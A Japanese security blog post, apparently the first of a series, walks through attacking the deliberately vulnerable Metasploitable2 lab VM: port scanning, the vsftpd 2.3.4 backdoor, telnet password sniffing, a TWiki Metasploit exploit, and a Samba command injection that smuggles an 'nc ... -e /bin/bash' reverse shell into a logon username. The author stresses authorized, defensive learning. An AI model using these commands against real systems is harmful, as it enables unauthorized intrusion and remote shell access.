*白百合めも*

セキュリティ中心に毎日の勉強の記録を書くよ*

Metasploitable2落城計画〜その1〜

みなさんこんにちは!白百合です✨
今日は題名にある通り(?)、何回かに分けてMetasploitable2を攻略していこうと思います!


この記事を書くに至った流れは、

日本語検索で、Metasploitable2と検索すると、以前書いた記事(年末なのでMetasploitable2で遊んでみたよ! - *白百合めも*)が上位に出てきてしまう
→ こんな内容がないよう状態なのに、恥ずかしい!!(><)
→ Metasploitable2についてもっとちゃんとした記事を書こう✨

という感じです!笑


やられサーバの攻略法って、どこかの記事を見て知るより自分で色んな攻撃施行して知る方が良いから、攻撃法はあんまりたくさん載せない方が良いという暗黙の了解とかあったりするのかな、って不安になっていました🌀
でも、Metasploitチームの方にメールでそのことを聞いたら、いいよ!私たちも公式ページに載せてるし!的なことを言っていただいたので、
気にせず書いていこうと思います!



ただ、記事を読むにあたって、以下のことを心に刻んでいただきたいです✨

・一度ご自身でMetasploitable2に対してどんな攻撃ができるかな〜って考えてから記事を見るようにしてください🌹
・攻撃や診断の許可をもらっていないシステムやネットワークに対して攻撃施行しないでください(意図的にする人はあんまりいないと思うので、うっかりを防ぐ方法を考えよう)
・自分達のシステムを守るために攻撃法を学んでいるということを忘れないでください

特に下2つはMetasploitチームの方にも言われたので、お決まりではありますが再度認識しておきましょう!

では、やっていきましょう🌸


・動作環境

・Kali linux
・Metasploitable2
以上を使えるようにしておきましょう!


・スキャン

前回でのブログ記事でもスキャン結果を書きましたが、またやっていきます!
nmapで、開いているポートと、そのサービス名+バージョンを出すようにしてMetasploitable2に対してスキャンをします!
(65535は、ポート番号の上限)

root@white-kali:~# nmap -p0-65535 -sV 192.168.10.104  
PORT      STATE SERVICE     VERSION  
21/tcp    open  ftp         vsftpd 2.3.4  
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)  
23/tcp    open  telnet      Linux telnetd  
25/tcp    open  smtp        Postfix smtpd  
53/tcp    open  domain      ISC BIND 9.4.2  
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2) 
111/tcp   open  rpcbind     2 (RPC #100000)   
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec        netkit-rsh rexecd  
513/tcp   open  login       OpenBSD or Solaris rlogind  
514/tcp   open  shell       Netkit rshd  
1099/tcp  open  rmiregistry GNU Classpath grmiregistry  
1524/tcp  open  bindshell   Metasploitable root shell  
2049/tcp  open  nfs         2-4 (RPC #100003)  
2121/tcp  open  ftp         ProFTPD 1.3.1  
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5  
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))  
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7  
5900/tcp  open  vnc         VNC (protocol 3.3)  
6000/tcp  open  X11         (access denied)  
6667/tcp  open  irc         UnrealIRCd  
6697/tcp  open  irc         UnrealIRCd  
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)  
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1  
8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)  
34405/tcp open  rmiregistry GNU Classpath grmiregistry  
40255/tcp open  mountd      1-3 (RPC #100005)  
54663/tcp open  nlockmgr    1-4 (RPC #100021)  
60108/tcp open  status      1 (RPC #100024)  


動いているサービスのバージョンが分かることで、そのバージョンに固有の脆弱性を見つけることができます🌹


・今回(その1)の攻撃リスト

今回は第一回目なので、上記の中で、

21/tcp    open  ftp         vsftpd 2.3.4  
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)  
23/tcp    open  telnet      Linux telnetd   
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)  
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  

について見ていこうと思います♬


・攻撃法

❤️21/tcp open ftp vsftpd 2.3.4

Metasploitable2では、FTPサーバのvsftpdが動いています🌹

バージョンで調べてみると、vsftpd-2.3.4のソースコードバックドアコードが含まれているとのこと⚡️(2011年発見の脆弱性
:) [ a happy face ]が含まれるusernameが送信されると6200番ポートが開くらしいです!

Metasplpitのモジュールもあって、 https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor を利用することで簡単にexploitできてしまいます!

ただ、今回は事象発生させるのが簡単なので、モジュールは使わず実際にuser nameに:)を入れてやってみようと思います!

Metasploitable2の21番にtelnet接続して(ftp接続でも良い)、usernameに「white:)lily」、パスワードは適当に入力します!
f:id:white-lily6u6:20181014103955p:plain:w400

その後、別ウインドウでMetasploitable2の6200番にtelnet接続すると・・・
f:id:white-lily6u6:20181014104019p:plain:w600 なんと、rootでシェルが取れてしまいます!

参考: https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide


❤️22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)


OpenSSH 4.7はOpenSSL 0.9.8ライブラリのコンポーネント(鍵生成)を使っているらしく、 Debian系OS上のOpenSSL 0.9.8c-1 から0.9.8g-9のバージョンは、鍵情報に対するブルートフォースができてしまいます(CVE-2008-0166)

これについては、http://whitelily6u6.hateblo.jp/entry/2017/12/30/235718 にて記載したため、割愛します🍰

参考:https://1500bytes.blogspot.com/2018/02/exploiting-openssh-47-openssl-098.html



❤️23/tcp open telnet Linux telnetd


Metasploitモジュールの、use auxiliary/scanner/telnet/telnet_login (Scanner Telnet Auxiliary Modules - Metasploit Unleashed)とかでユーザ名とパスワードにブルートフォースかけたりしてもいいんですが、
今回は暗号化通信のありがたみを感じるために、telnetログイン時のパケットを見てパスワードを見つけてみましょう🌹

事前準備として、Kali linuxの9.sniffing > wiresharkを立ち上げ、Kaliとmetasploitable2がいるネットワークのパケットキャプチャを開始しておきます!

その後、実際にmetasploitable2にtelnet接続をします🌹

f:id:white-lily6u6:20181014140318p:plain

ユーザ名とパスワードにmsfadminを入れ、接続完了したら、
Wiresharkでパケットキャプチャを止め、取れたパケットを見てみます!

f:id:white-lily6u6:20181014140431p:plain

ProtocolがTelnetのパケット上で、右クリック->Follow->TCP streamとクリックすると……

f:id:white-lily6u6:20181014140710p:plain

送信したパスワードが見えてしまっていますね!
当たり前のようにSSHとか使っていますが、改めて感謝して生きていきましょう……🙏




❤️80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)


Metasploitable2のサーバにWebアクセスすると脆弱性を含んだページなど色々と存在するのですが、
今回はKali linuxから攻められるものとして、TWikiに注目してみようと思います!
f:id:white-lily6u6:20181014111053p:plain:w150

http://【Metasploitable2のIPアドレス】/twiki/readme.txtにアクセスすると、
TWikiのバージョンが、「Version: 01 Feb 2003」と書いてあります!

このバージョンでCVE-detailsを調べると、 f:id:white-lily6u6:20181014111349p:plain
Twiki Twiki version 2003-02-01 : Security vulnerabilities
と出てきました!!

このうち、下2つにはMetasploitモジュールが存在します*
一番下のはexploit成功するとAdmin権限が取れるらしいので、こちらは是非ご自身でやってみてください✨

この記事では、その1つ上のCVE-2005-2877を利用しようと思います🌻

TWikiのhistoryコンポーネント脆弱性で、TWikiUsers scriptに、シェルのメタ文字を含んだ"rev"パラメータを渡すことで、OSコマンドを実行することができます。
CVE-2005-2877 TWiki History TWikiUsers rev Parameter Command Execution | Rapid7

何気に今までこのブログでMetasploitの使い方を書いたことがなかったので、丁寧に見ていきます🍧



Kali linuxのターミナルで「msfconsole」と入力してMetasploitを立ち上げます🍫

今回は、use exploit/unix/webapp/twiki_historyというモジュールを使うので、以下を入力します🍪

use exploit/unix/webapp/twiki_history


攻撃対象のホストとして、RHOSTにMetasploitable2のIPアドレスを入力します🍮

set RHOST <Metasploitable2のIPアドレス>



f:id:white-lily6u6:20181014114049p:plain


ここまでできたら、以下のコマンドでモジュールのオプションを確認してみましょう!

show options


f:id:white-lily6u6:20181014113658p:plain

Requiredがyesになっているものが全て埋まっていて、Twikiのbinへのファイルパスもこれで大丈夫なので、exploitを行います!
f:id:white-lily6u6:20181014114216p:plain:w500
すると……

f:id:white-lily6u6:20181014114302p:plain
www-data(apacheのデフォルト実行ユーザ)でシェルが取れてしまいました!
(もし一度でうまくいかない時は何回か試してみてください)
権限昇格はまた別の方法で行いましょう*



❤️139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
❤️445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)


はい、何かと話題になるSambaです。
これだと詳しいバージョンがわからないので、Metasploitモジュール、auxiliary/scanner/smb/smb_version(SMB Version Detection | Rapid7)を使って調べましょう!

f:id:white-lily6u6:20181014144721p:plain

これでバージョンが、Samba 3.0.20ということがわかりました!

このバージョンでググってみると……
Samba Samba version 3.0.20 : Security vulnerabilities
むちゃくちゃCVEがあることがわかりますね⚡️

個人的によく見かけるのはCVE-2007-2447(MetasploitモジュールはCVE-2007-2447 Samba "username map script" Command Execution | Rapid7)ですね!


Samba 3.0.0から3.0.25rc3で、smb.confの"username map script"オプションが利用できる場合、usernameにメタ文字を入れられるので好きなコマンド実行できるよって感じのものです。多分。(ちょっと微妙なので間違ってたら教えてください)

一般ユーザ権限取れるって書いてあるんですが、私がやった時はroot取れてました(なんでだろう)。
f:id:white-lily6u6:20181014151830p:plain



ただ、Metasploitを使わないでexploitできれば(仕組みがよく分かって)良いので、使わないバージョンでもやっていきます!

How To - Metasploitable 2 - SAMBA Exploit - YouTube
↑こちらのビデオの後半の方法を使わせていただきます!最&高

まず、Kali linuxからMetasploitable2のSambaにanonymousログインします(パスワード打たないでEnter)

smbclient //<Metasploitable2のIPアドレス>/tmp

f:id:white-lily6u6:20181014160807p:plain:w500

次に、Kali linuxの別ターミナルで、ncで4444番ポートで接続待ち受けします。
ncコマンドについては→ https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf

f:id:white-lily6u6:20181014161451p:plain:w400

そして、anonymousログインしているSamba上で、以下を実行します。logonコマンドのusername指定の部分にncコマンドを入れ込む感じですね。パスワードはEnterしてください! (-eで、受け取った文字列を /bin/bashに渡すので、これによりコマンド実行可能になる)

smb: \> logon "/=`nc <Kali linuxのIPアドレス> 4444 -e /bin/bash`"

f:id:white-lily6u6:20181014161837p:plain

すると、接続待ち受けしていた方で、シェルを得て自由にコマンドが打てるようになりました!
f:id:white-lily6u6:20181014162652p:plain


logonコマンドについては、以下に記載がありました🌹
smbclient

logon <username> <password>  
再度ログオンすることにより、このセッションのための新しい vuidを確立する。  
新しいvuidを表示する。Samba内部のテスト用のみに使われる。  


Metasploitのモジュールのコード読んでも?ってなることが多いので実際にやってみると良きですね✨


他の方法でも是非exploitしてみてください🍫


・まとめ


基本的に昔の脆弱性が多いので、あんまり役立たないじゃん〜って思うかもしれないのですが、対象を調査して脆弱性を見つけてそこを突くアプローチ法は今も昔もそんなに変わらないので、考え方を身につけていけたらいいなって思います✨

運用面では、今回のexploitだけでも、以下のようなことを気をつけていかなきゃと気づけました!
・バージョンアップ大事
・サービスのバージョンは見えないようにする
・不要なポートは閉じる


次回はいつになるか分からないですが、この続きをやっていけたらと思います〜!🌺
最後は、アイキャッチ用の、今朝の華やかなスタバァブレイクファストの様子でお別れです!
f:id:white-lily6u6:20181014171521j:plain:w500

では、また一週間頑張りましょう!